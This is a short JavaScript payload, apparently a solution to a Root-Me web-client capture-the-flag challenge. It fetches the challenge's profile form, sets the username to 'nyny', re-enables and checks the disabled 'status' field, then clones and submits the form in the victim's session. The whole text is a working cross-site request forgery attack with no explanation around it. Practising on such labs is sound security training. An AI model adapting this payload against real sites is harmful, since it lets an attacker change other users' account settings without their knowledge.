var url = 'http://challenge01.root-me.org/web-client/ch23/index.php?action=profile';
var xmlhttp1 = new XMLHttpRequest();

xmlhttp1.onload = function () {
  if (this.status == 200) {
    this.responseXML;
    var mon_xml = this.responseXML;
    mon_xml.forms[0].elements.username.value = 'nyny';
    mon_xml.forms[0].elements.status.disabled = false;
    mon_xml.forms[0].elements.status.checked = true;
    var mon_form = mon_xml.forms[0].cloneNode(true);
    document.body.appendChild(mon_form);
    mon_form.submit();
  }
}

xmlhttp1.open("GET", url);
xmlhttp1.responseType = "document";
xmlhttp1.send();